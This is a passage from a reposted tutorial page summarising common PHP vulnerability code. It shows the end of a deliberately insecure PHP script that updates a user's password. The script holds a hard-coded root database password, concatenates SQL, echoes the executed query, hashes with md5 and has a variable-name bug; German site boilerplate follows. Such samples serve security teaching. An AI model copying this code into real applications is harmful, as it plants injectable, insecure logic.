$value = intval($value);
return $value;
}
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
     $uname=Check($_POST[&#39;uname&#39;]);
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);
        $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
         {
         $rows = $row[&#39;username&#39;];
         $udate = "UPDATE local_user SET password = &#39;$passwd&#39; WHERE username=&#39;$rows&#39;";
         mysql_query($update);
         if(mysql_error())
         {
         print_r(mysql_error());
         }
         echo "后端执行语句: {$sql} <br>";
         }
         else
         {
         echo "<br>后端执行语句: {$sql} <br>";
         }
        }
    }
}
?>
</body>
</html>

推荐学习:《PHP视频教程

Das obige ist der detaillierte Inhalt vonSehr umfassend! Zusammenfassung gängiger PHP-Schwachstellencodes!. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:juejin.im. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen